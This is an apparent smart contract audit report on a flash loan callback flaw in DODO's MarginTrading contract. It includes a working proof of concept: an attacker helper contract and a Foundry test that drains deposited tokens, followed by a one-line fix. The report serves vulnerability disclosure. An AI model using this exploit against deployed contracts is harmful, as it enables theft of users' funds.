shaka

high

# Flash loan callback can be used to steal tokens

## Summary

Flash loan callback can be used to steal tokens.

## Vulnerability Detail

`MarginTrading.sol:executeOperation()` is the callback function called by `LendingPool`. It receives a set of encoded parameters that are then used to perform certain operations defined in the internal functions `_closetrade` and `_opentrade`.

Anyone can make `executeOperation` be executed with arbitrary parameters by calling `LendingPool.flashLoan` with the `MarginTrading` contract address as the `receiverAddress` parameter.

## Impact

An attacker can withdraw all available tokens in the contract by executing `_opentrade` internal function.

What is even worse, the attacker can execute first `_closetrade` in order to withdraw tokens from the lending pool into the contract and then pull them from the contract.

## Code Snippet

https://github.com/sherlock-audit/2023-05-dodo/blob/main/dodo-margin-trading-contracts/contracts/marginTrading/MarginTrading.sol#LL121C1-L166C6

## Proof of concept

Helper contract to perform the attack
```solidity
pragma solidity ^0.8.15;

interface IERC20 {
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

contract Attacker {
    address payable public owner;

    constructor() public {
        owner = payable(msg.sender);
    }

    function drain(address[] memory tokens, uint256[] memory amounts) external payable {
        for (uint256 i; i < tokens.length; ++i) {
            IERC20(tokens[i]).transferFrom(msg.sender, owner, amounts[i]);
        }
    }
}
```

Foundry test
```solidity
function testDrainTokens() public {
    address blackHat = address(1);
    faucet(address(dai), user1, 100 ether);
    faucet(address(dai), address(lendingPoolV2), 10000 ether);
    uint256 depositAmt = 100 ether;

    // User creates margin trading contract
    vm.startPrank(user1);
    address _marginTrading = createMarginTradingContract();

    // User deposits to lending pool
    marginTradingFactory.depositMarginTradingERC20(_marginTrading, address(dai), depositAmt, true, 1);
    vm.stopPrank();

    // Attacker creates helper contract
    vm.startPrank(blackHat);
    Attacker attacker = new Attacker();

    // Attacker executes flash loan to withdraw token from lending pool
    address[] memory _assets = new address[](1);
    _assets[0] = address(dai);
    uint256[] memory _amounts = new uint256[](1);
    _amounts[0] = 1 ether;
    uint256[] memory _modes = new uint256[](1);
    uint256 flashLoanFee = 0.0009 ether;
    bytes memory executeParamsWithdraw;
    {
        uint256[] memory _amountsDrain = new uint256[](1);
        _amountsDrain[0] = depositAmt - flashLoanFee;
        address[] memory _withdrawAssets = new address[](1);
        _withdrawAssets[0] = address(dai);
        uint256[] memory _withdrawAmount = new uint256[](1);
        _withdrawAmount[0] = depositAmt;
        executeParamsWithdraw = encodeExecuteParams(
            0,
            address(0),
            address(0),
            new address[](0),
            "",
            new address[](0),
            _withdrawAssets,
            _withdrawAmount,
            new uint256[](0),
            new address[](0)
        );
    }
    lendingPoolV2.flashLoan(_marginTrading, _assets, _amounts, _modes, _marginTrading, executeParamsWithdraw, uint16(0));

    // Attacker executes flash loan to steal token
    bytes memory executeParamsSteal;
    {
        uint256[] memory _amountsSteal = new uint256[](1);
        _amountsSteal[0] = depositAmt - flashLoanFee * 2;
        bytes memory swapParams = abi.encodeWithSignature("drain(address[],uint256[])", _assets, _amountsSteal);
        address[] memory _swapApproveToken = new address[](1);
        _swapApproveToken[0] = address(dai);
        executeParamsSteal = encodeExecuteParams(
            1,
            address(attacker),
            address(attacker),
            _swapApproveToken,
            swapParams,
            new address[](0),
            new address[](0),
            new uint256[](0),
            new uint256[](0),
            new address[](0)
        );
    }
    
    lendingPoolV2.flashLoan(_marginTrading, _assets, _amounts, _modes, _marginTrading, executeParamsSteal, uint16(0));
    vm.stopPrank();
    
    assertEq(dai.balanceOf(blackHat), depositAmt - flashLoanFee * 2);
}
```

To execute the test:
- Copy the snippet above into the `MarginTradingTest` contract.
- Create and import the `Attacker.sol` contract.
- Edit `MockLendingPoolV2:flashLoan()` so that matches the [`LendingPool.sol` implementation](https://github.com/aave/protocol-v2/blob/30a2a19f6d28b6fb8d26fc07568ca0f2918f4070/contracts/protocol/lendingpool/LendingPool.sol#L497).
```diff
        MockERC20(assets[0]).transfer(onBehalfOf, amounts[0]);

-       IFlashLoanReceiver(msg.sender).executeOperation(assets, amounts, _premiums, msg.sender, params);
+       IFlashLoanReceiver(receiverAddress).executeOperation(assets, amounts, _premiums, msg.sender, params);
```
- Run `forge test -m testDrainTokens`

## Tool used

Foundry

## Recommendation

```diff
    function executeOperation(
        address[] calldata _assets,
        uint256[] calldata _amounts,
        uint256[] calldata _premiums,
        address _initiator,
        bytes calldata _params
    ) external override onlyLendingPool returns (bool) {
+       require(_initiator == address(this), "_initiator is not MarginTrading");
```